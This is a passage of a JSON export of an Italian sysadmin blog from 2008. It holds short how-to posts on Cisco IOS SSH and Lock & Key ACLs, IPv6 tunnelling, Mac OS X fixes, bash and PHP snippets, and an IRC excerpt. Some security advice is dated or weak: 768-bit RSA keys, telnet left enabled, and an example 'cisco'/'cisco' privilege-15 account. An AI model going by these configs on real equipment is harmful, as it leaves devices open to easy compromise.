style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e Options None\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e AllowOverride None\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e Order allow,deny\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e Allow from all\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003eDirectory\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Apache - Client denied by server configuration"},{"content":"Come definire il link ad un tunnel broker i questo esempio HE.net da sistema operativo linux utilizzando i net tools\nPrima parte crea l\u0026rsquo;interfaccia di tunneling sull\u0026rsquo;ipv4:\nifconfig sit0 up\nifconfig sit0 inet6 tunnel ::216.66.84.42\nSeconda parte genera l\u0026rsquo;endpoint del tunnel in ipv6:\nifconfig sit1 up\nifconfig sit1 inet6 add 2001:470:1f12:11c::2/64\nTerza parte definisce la rotta sul device relativo all\u0026rsquo;endpoing del tunnel per tutto il traffico ipv6:\nroute -A inet6 add ::/0 dev sit1\n","permalink":"https://www.deepreflect.net/2008/10/27/linux-ipv6-tunnel-broker/","summary":"\u003cp\u003eCome definire il link ad un tunnel broker i questo esempio HE.net da sistema operativo linux utilizzando i net tools\u003c/p\u003e\n\u003cp\u003ePrima parte crea l\u0026rsquo;interfaccia di tunneling sull\u0026rsquo;ipv4:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eifconfig sit0 up\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eifconfig sit0 inet6 tunnel ::216.66.84.42\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eSeconda parte genera l\u0026rsquo;endpoint del tunnel in ipv6:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eifconfig sit1 up\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eifconfig sit1 inet6 add 2001:470:1f12:11c::2/64\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eTerza parte definisce la rotta sul device relativo all\u0026rsquo;endpoing del tunnel per tutto il traffico ipv6:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eroute -A inet6 add ::/0 dev sit1\u003c/code\u003e\u003c/p\u003e","title":"Linux - IPv6 Tunnel Broker"},{"content":"Memo, questo e\u0026rsquo; solo per ricordarmi l\u0026rsquo;export del profile:\nexport PATH=$PATH:/opt/csw/bin:/usr/sfw/bin:/usr/sbin:/usr/bin:/usr/openwin/bin:/usr/dt/bin:/usr/ccs/bin\n","permalink":"https://www.deepreflect.net/2008/10/27/export/","summary":"\u003cp\u003eMemo, questo e\u0026rsquo; solo per ricordarmi l\u0026rsquo;export del profile:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eexport PATH=$PATH:/opt/csw/bin:/usr/sfw/bin:/usr/sbin:/usr/bin:/usr/openwin/bin:/usr/dt/bin:/usr/ccs/bin\u003c/code\u003e\u003c/p\u003e","title":"Export"},{"content":"Come eseguire controlli ricorsivi sui whois e generare un file per singola query usando poche righe di bash scripting, attenzione ai limiti per server (il file si chiamera\u0026rsquo; \u0026ldquo;list\u0026rdquo; e deve avere un dominio di secondo livello per riga) quindi questo e\u0026rsquo; tutto:\n#!/bin/bash declare -a ARRAY exec 10\u0026lt;list let count=0 while read LINE \u0026lt;\u0026amp;10; do whois $LINE \u0026gt; /home/leo/whois/result/$LINE echo $LINE ARRAY[$count]=$LINE ((count++)) done echo Number of elements: ${#ARRAY[@]} echo ${ARRAY[@]} exec 10\u0026gt;\u0026amp;- ","permalink":"https://www.deepreflect.net/2008/10/27/whois-controlli-ricorsivi/","summary":"\u003cp\u003eCome eseguire controlli ricorsivi sui whois e generare un file per singola query usando poche righe di bash scripting, attenzione ai limiti per server (il file si chiamera\u0026rsquo; \u0026ldquo;list\u0026rdquo; e deve avere un dominio di secondo livello per riga) quindi questo e\u0026rsquo; tutto:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e #!/bin/bash\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e declare -a ARRAY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e exec 10\u0026lt;list\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e let count=0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e while read LINE \u0026lt;\u0026amp;10; do\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e whois $LINE \u0026gt; /home/leo/whois/result/$LINE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e echo $LINE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e ARRAY[$count]=$LINE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e ((count++))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e done\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e echo Number of elements: ${#ARRAY[@]}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e echo ${ARRAY[@]}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e exec 10\u0026gt;\u0026amp;-\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Whois - Controlli ricorsivi"},{"content":"Breve memo sul comando per l\u0026rsquo;analisi dello stato del modulo ATM per le linea adsl in caso di problemi e\u0026rsquo; sempre bene verificare i livelli di attenuazione e margine di rumore della linea al fine di valutare la qualita\u0026rsquo; del segnale della linea.\nrouter# show dsl interface atm0/0\n","permalink":"https://www.deepreflect.net/2008/10/21/cisco-atm-status/","summary":"\u003cp\u003eBreve memo sul comando per l\u0026rsquo;analisi dello stato del modulo ATM per le linea adsl in caso di problemi e\u0026rsquo; sempre bene verificare i livelli di attenuazione e margine di rumore della linea al fine di valutare la qualita\u0026rsquo; del segnale della linea.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003erouter# show dsl interface atm0/0\u003c/code\u003e\u003c/p\u003e","title":"Cisco - ATM Line Status"},{"content":"\u0026lt;Giaco\u0026gt; dannazione non trovo la sprite \u0026lt;Giaco\u0026gt; solo la fanta \u0026lt;Giaco\u0026gt; oddio che male sto ginocchiolo \u0026lt;Giaco\u0026gt; ma sip e\u0026#39; udp o tcp ? \u0026lt;Giaco\u0026gt; ah forse era aix udp \u0026lt;Giaco\u0026gt; non mi piace ios \u0026lt;mega\u0026gt; ma che stai vaneggiando? \u0026lt;Giaco\u0026gt; ios e\u0026#39; come il linux \u0026lt;Giaco\u0026gt; non e\u0026#39; come i bsd \u0026lt;mega\u0026gt; tu fumi troppe canne \u0026lt;mega\u0026gt; vado a nanna \u0026lt;mega\u0026gt; notte \u0026lt;Giaco\u0026gt; era aix o iax ? \u0026lt;Giaco\u0026gt; ciao ","permalink":"https://www.deepreflect.net/2008/10/21/irc-cut-01-solaris/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;Giaco\u0026gt; dannazione non trovo la sprite\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;Giaco\u0026gt; solo la fanta\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;Giaco\u0026gt; oddio che male sto ginocchiolo\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;Giaco\u0026gt; ma sip e\u0026#39; udp o tcp ?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;Giaco\u0026gt; ah forse era aix udp\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;Giaco\u0026gt; non mi piace ios\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;mega\u0026gt; ma che stai vaneggiando?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;Giaco\u0026gt; ios e\u0026#39; come il linux\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;Giaco\u0026gt; non e\u0026#39; come i bsd\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;mega\u0026gt; tu fumi troppe canne\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;mega\u0026gt; vado a nanna\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;mega\u0026gt; notte\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;Giaco\u0026gt; era aix o iax ?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;Giaco\u0026gt; ciao\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"IRC Cut 01 - #solaris"},{"content":"Vi sarà mai capitato di aver collegato una tastiera Apple ad un PC in particolar modo una PRO Ita, ovviamente nei driver standard la mappatura non esiste, neache lontanamente.\nHo creato con un software fornito da Microsoft (Microsoft Keyboard Layout Creator) la mappatura della tastiera nel file scaricabile qua sotto è contenuto un installer e il sorgente per modificabile.\nAttezione il tast \u0026ldquo;DEL\u0026rdquo; è mappato con il tasto virgola del tastierino per comodità.\nKeyboard Layout MacPRO ITA\n","permalink":"https://www.deepreflect.net/2008/10/19/hardware-macpro-ita-keyboard-on-windows/","summary":"\u003cp\u003eVi sarà mai capitato di aver collegato una tastiera Apple ad un PC in particolar modo una PRO Ita, ovviamente nei driver standard la mappatura non esiste, neache lontanamente.\u003c/p\u003e\n\u003cp\u003eHo creato con un software fornito da Microsoft (Microsoft Keyboard Layout Creator) la mappatura della tastiera nel file scaricabile qua sotto è contenuto un installer e il sorgente per modificabile.\u003c/p\u003e\n\u003cp\u003eAttezione il tast \u0026ldquo;DEL\u0026rdquo; è mappato con il tasto virgola del tastierino per comodità.\u003c/p\u003e","title":"Hardware - MacPRO ITA Keyboard on windows"},{"content":"Ecco come abilitare, l\u0026rsquo;ssh sugli apparati con cisco con IOS\nPrima fase configurare un dominio, e generare i certificati, al fine di incrementare la sicurezza consiglio di usare almeno la chiave 768 Bit che permette l\u0026rsquo;uso di SSH v2\nroute_01_no#conf t Enter configuration commands, one per line. End with CNTL/Z. route_01_no(config)#ip domain-name stars.deepreflect.net route_01_no(config)#cry key generate rsa The name for the keys will be: route_01_no.stars.deepreflect.net Choose the size of the key modulus in the range of 360 to 2048 for your General Purpose Keys. Choosing a key modulus greater than 512 may take a few minutes. How many bits in the modulus [512]: 768 % Generating 768 bit RSA keys, keys will be non-exportable...[OK] La seconda fase e\u0026rsquo; abilitare il protocollo SSH v2 e abilitare le line vty all\u0026rsquo;accesso:\nroute_01_no(config)#ip ssh version 2 route_01_no(config)#line vty 0 4 route_01_no(config-line)# transport input telnet ssh route_01_no(config-line)# route_01_no(config)#end route_01_no# ","permalink":"https://www.deepreflect.net/2008/10/15/cisco-ssh/","summary":"\u003cp\u003eEcco come abilitare, l\u0026rsquo;ssh sugli apparati con cisco con IOS\u003c/p\u003e\n\u003cp\u003ePrima fase configurare un dominio, e generare i certificati, al fine di incrementare la sicurezza consiglio di usare almeno la chiave 768 Bit che permette l\u0026rsquo;uso di SSH v2\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e route_01_no\u003cspan style=\"color:#75715e\"\u003e#conf t\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e Enter configuration commands, one per line\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e End with CNTL\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eZ\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e route_01_no(config)\u003cspan style=\"color:#75715e\"\u003e#ip domain-name stars.deepreflect.net\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e route_01_no(config)\u003cspan style=\"color:#75715e\"\u003e#cry key generate rsa\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e The name \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e the keys will be: route_01_no\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003estars\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003edeepreflect\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enet\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e Choose the size of the key modulus \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e the range of \u003cspan style=\"color:#ae81ff\"\u003e360\u003c/span\u003e to \u003cspan style=\"color:#ae81ff\"\u003e2048\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e your\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e General Purpose Keys\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e Choosing a key modulus greater than \u003cspan style=\"color:#ae81ff\"\u003e512\u003c/span\u003e may take\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e a few minutes\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e How many bits \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e the modulus [\u003cspan style=\"color:#ae81ff\"\u003e512\u003c/span\u003e]: \u003cspan style=\"color:#ae81ff\"\u003e768\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e Generating \u003cspan style=\"color:#ae81ff\"\u003e768\u003c/span\u003e bit RSA keys, keys will be non\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eexportable\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e[OK]\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eLa seconda fase e\u0026rsquo; abilitare il protocollo SSH v2 e abilitare le line vty all\u0026rsquo;accesso:\u003c/p\u003e","title":"Cisco - SSH"},{"content":"Dopo l\u0026rsquo;aggiornamento sulla sicurezza 2008-006 versione del sistema 10.4.11 e\u0026rsquo; insorto un problema nelle preferenze di sistema, sezione network:\nAll\u0026rsquo;apertura si verifica questo errore \u0026ldquo;your network have been changed by another application\u0026rdquo; non reversibile con gli strumenti messi a disposizione per intenderci il tasto \u0026ldquo;OK\u0026rdquo;\nQuesto succede per dei monivi di sicurezza dato che le preferenze di rete interagiscono in continuazione con il portachiavi di sistema, vedi per le password PPP, le chiavi Airport e altre configurazioni di accesso.\nLa cosa piu\u0026rsquo; sbrigativa sarebbe tenere le configurazioni bloccate con il lucchettino, ma risulta molto scomodo dover autenticare ogni modifica.\nCome soluzione definitiva si puo\u0026rsquo; procedere in questo modo: Cercare la seguente cartella\n/Library/Preferences/SystemConfiguration\nCancellare i seguenti file:\ncom.apple.airport.preferences.plist NetworkInterfaces.plist preferences.plist com.apple.nat.plist Dopo aver fatto questo e\u0026rsquo; necessario cancellare tutto il database del portachiavi di sistema, o almeno la definizione delle password legate ai servizi di rete. Attenzione i dati di autenticazione dovranno essere reiseriti al fine di ricostruire con i giusti privilegi il db.\n","permalink":"https://www.deepreflect.net/2008/10/15/mac-os-x-your-network-have-been-changed-by-another-application/","summary":"\u003cp\u003eDopo l\u0026rsquo;aggiornamento sulla sicurezza 2008-006 versione del sistema 10.4.11 e\u0026rsquo; insorto un problema nelle preferenze di sistema, sezione network:\u003c/p\u003e\n\u003cp\u003eAll\u0026rsquo;apertura si verifica questo errore \u0026ldquo;your network have been changed by another application\u0026rdquo; non reversibile con gli strumenti messi a disposizione per intenderci il tasto \u0026ldquo;OK\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eQuesto succede per dei monivi di sicurezza dato che le preferenze di rete interagiscono in continuazione con il portachiavi di sistema, vedi per le password PPP, le chiavi Airport e altre configurazioni di accesso.\u003c/p\u003e","title":"Mac OS X - your network have been changed by another application"},{"content":"Lavorereste mai in una societa\u0026rsquo; di telecomunicazioni in cui sostituiscono un firewall Checkpoint su piattaforma Nokia con uno Zyxel ZyWall USG.\nSono inorridito\n","permalink":"https://www.deepreflect.net/2008/10/13/e-poi-si-chiedono-perche-cambio-lavoro/","summary":"\u003cp\u003eLavorereste mai in una societa\u0026rsquo; di telecomunicazioni in cui sostituiscono un firewall Checkpoint su piattaforma Nokia con uno Zyxel ZyWall USG.\u003c/p\u003e\n\u003cp\u003eSono inorridito\u003c/p\u003e","title":"E poi si chiedono perché cambio lavoro."},{"content":"Discutendo una sera sulla sicurezza dei servizi SSH e sull\u0026rsquo;alternativa di utilizzare porte non standard per ovviare ai frequenti tentativi di instrusione automatici effettuati da bot, l\u0026rsquo;idea e\u0026rsquo; offuscare la porta 22 con stratagemmi simili a port knocking, IOS a riguardo puo\u0026rsquo; essere sfruttato con una funzione chiamata Lock \u0026amp; Key si tratta di condizionare una ACL per un tempo limitato per mezzo di autenticazione.\nIl meccanismo puo\u0026rsquo; essere integrato su router di confine o router di accesso che abbiamo autenticazione locale o TACAS+\nPrima fase e\u0026rsquo; abilitare e definire il metodo di autenticazione, in questo esempio e\u0026rsquo; locale sul router nel caso ci sia un server ACS specificare i parametri. aaa new-model aaa authentication login userauthen local aaa authentication login clientauth local aaa authorization network groupauthor local Seconda fase definire almeno un utente: username cisco privilege 15 password cisco Terza fase applicare un gruppo all\u0026rsquo;interfaccia di ingresso: interface FastEthernet0/0 ip access-group 150 in Quarta fase definire l\u0026rsquo;access list, la prima abilita il telnet, la seconda abilita l\u0026rsquo;ssh in condizione di autenticazione posiva, e lascia attiva la regola per 120 secondi dopo che connesione viene chiusa: access-list 150 permit tcp any any eq telnet access-list 150 dynamic TL01 timeout 120 permit tcp any any eq 22 Quinta fase definire l\u0026rsquo;autocommad nella sezione terminali virtuali, nel caso specifico se si esegue un login via telnet si attiva l\u0026rsquo;ACL, per la gestione del router sono dedicate le line SSH line vty 0 4 privilege level 15 autocommand access-enable timeout 5 transport input telnet line vty 5 9 privilege level 15 transport input ssh ","permalink":"https://www.deepreflect.net/2008/10/12/cisco-lock-key/","summary":"\u003cp\u003eDiscutendo una sera sulla sicurezza dei servizi SSH e sull\u0026rsquo;alternativa di utilizzare porte non standard per ovviare ai frequenti tentativi di instrusione automatici effettuati da bot, l\u0026rsquo;idea e\u0026rsquo; offuscare la porta 22 con stratagemmi simili a port knocking, IOS a riguardo puo\u0026rsquo; essere sfruttato con una funzione chiamata Lock \u0026amp; Key si tratta di condizionare una ACL per un tempo limitato per mezzo di autenticazione.\u003c/p\u003e\n\u003cp\u003eIl meccanismo puo\u0026rsquo; essere integrato su router di confine o router di accesso che abbiamo autenticazione locale o TACAS+\u003c/p\u003e","title":"Cisco - Lock \u0026 Key"},{"content":"Simpatica certificazione IPv6 inventata dalla Hurricane Electric:\n","permalink":"https://www.deepreflect.net/2008/10/09/ipv6-henet-certification/","summary":"\u003cp\u003eSimpatica certificazione IPv6 inventata dalla Hurricane Electric:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://ipv6.he.net/certification/scoresheet.php?pass_name=leonardorizzi\"\u003e\u003cimg alt=\"IPv6 Certification Badge for leonardorizzi\" loading=\"lazy\" src=\"http://ipv6.he.net/certification/make_badge.php?pass_name=leonardorizzi\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"IPv6 - HE.NET Certification"},{"content":"Visto che mi hanno chiesto un sistema per riconoscere la lingua del browser con successiva visualizzazione del rispettivo contenuto, posto il codice, spiego usanto una variabile di ambiente php e comparando le prime due cifre della lingua impostata nel browser le compara con due lingue italiano e tedesco e successivamente se non sono una di queste due rimanda alla pagine inglese, semplice e coinciso:\n\u0026lt;?php if (substr($_SERVER[\u0026#34;HTTP_ACCEPT_LANGUAGE\u0026#34;],0,2) == \u0026#34;it\u0026#34;) { include(\u0026#34;index_ita.htm\u0026#34;); } elseif (substr($_SERVER[\u0026#34;HTTP_ACCEPT_LANGUAGE\u0026#34;],0,2) == \u0026#34;de\u0026#34;) { include(\u0026#34;index_deu.htm\u0026#34;); } else { include(\u0026#34;index_eng.htm\u0026#34;); } ?\u0026gt; ","permalink":"https://www.deepreflect.net/2008/10/05/php-riconoscimento-lingua-browser/","summary":"\u003cp\u003eVisto che mi hanno chiesto un sistema per riconoscere la lingua del browser con successiva visualizzazione del rispettivo contenuto, posto il codice, spiego usanto una variabile di ambiente php e comparando le prime due cifre della lingua impostata nel browser le compara con due lingue italiano e tedesco e successivamente se non sono una di queste due rimanda alla pagine inglese, semplice e coinciso:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;?php\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eif (substr($_SERVER[\u0026#34;HTTP_ACCEPT_LANGUAGE\u0026#34;],0,2) == \u0026#34;it\u0026#34;)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003einclude(\u0026#34;index_ita.htm\u0026#34;);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eelseif (substr($_SERVER[\u0026#34;HTTP_ACCEPT_LANGUAGE\u0026#34;],0,2) == \u0026#34;de\u0026#34;)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003einclude(\u0026#34;index_deu.htm\u0026#34;);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e} else {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003einclude(\u0026#34;index_eng.htm\u0026#34;);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e?\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Php - Riconoscimento lingua browser"},{"content":"Be l\u0026rsquo;os x anche se propio non sembra un sistema unix a causa di tutta questa bella grafica, in realta\u0026rsquo; lo e\u0026rsquo; fino all\u0026rsquo;osso, quindi nel caso si volesse visualizzare il verbose mode del boot ecco come fare:\nDa terminale in modalita\u0026rsquo; root:\nPer abilitare:\n# nvram boot-args=\u0026quot;-v\u0026quot;\nPer disabilitare:\n# nvram boot-args=\nPer la versione del firmware:\n# nvram -p\n","permalink":"https://www.deepreflect.net/2008/10/05/mac-os-x-verbose-boot/","summary":"\u003cp\u003eBe l\u0026rsquo;os x anche se propio non sembra un sistema unix a causa di tutta questa bella grafica, in realta\u0026rsquo; lo e\u0026rsquo; fino all\u0026rsquo;osso, quindi nel caso si volesse visualizzare il verbose mode del boot ecco come fare:\u003c/p\u003e\n\u003cp\u003eDa terminale in modalita\u0026rsquo; root:\u003c/p\u003e\n\u003cp\u003ePer abilitare:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# nvram boot-args=\u0026quot;-v\u0026quot;\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003ePer disabilitare:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# nvram boot-args=\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003ePer la versione del firmware:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# nvram -p\u003c/code\u003e\u003c/p\u003e","title":"Mac OS X - Verbose Boot"},{"content":"Ecco i comandi vari ed eventuali sempre utili, ovviamente eseguiti da terminale:\nLeopard 10.5\n# dscacheutil -flushcache\nTiger 10.4\n# lookupd -flushcache\n","permalink":"https://www.deepreflect.net/2008/10/05/mac-os-x-flush-dns-cache/","summary":"\u003cp\u003eEcco i comandi vari ed eventuali sempre utili, ovviamente eseguiti da terminale:\u003c/p\u003e\n\u003cp\u003eLeopard 10.5\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# dscacheutil -flushcache\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eTiger 10.4\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# lookupd -flushcache\u003c/code\u003e\u003c/p\u003e","title":"Mac OS X - Flush DNS Cache"},{"content":"Adoro quando i server rispondono cosi\u0026rsquo; (si, il server di posta e\u0026rsquo; in ascolto anche in ipv6):\nleobook-w:~ leonardorizzi$ telnet mail.deepreflect.net 25 Trying 2001:470:1f13:10a::100... Connected to mail.deepreflect.net. Escape character is \u0026#39;^\\]\u0026#39;. 220 deepreflect.net ESMTP - Life is short talk fast! ","permalink":"https://www.deepreflect.net/2008/10/03/server-strings/","summary":"\u003cp\u003eAdoro quando i server rispondono cosi\u0026rsquo; (si, il server di posta e\u0026rsquo; in ascolto anche in ipv6):\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eleobook-w:~ leonardorizzi$ telnet mail.deepreflect.net 25\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTrying 2001:470:1f13:10a::100...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eConnected to mail.deepreflect.net.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEscape character is \u0026#39;^\\]\u0026#39;.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e220 deepreflect.net ESMTP - Life is short talk fast!\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Server Strings"},{"content":"Script semplice e veloce per mappare le unita\u0026rsquo; di rete nei domini active directory, c\u0026rsquo;e\u0026rsquo; chi usa ancora il \u0026ldquo;net use\u0026rdquo; ma purtroppo hanno anche inventato il VBS:\nNotare che la terza mappatura mappa la home prendendo come variabili dallo username. Nominare .vbs\nOption Explicit Dim objNetwork, strRemotePath1, strRemotePath2, strRemotePath3 Dim strUserName, 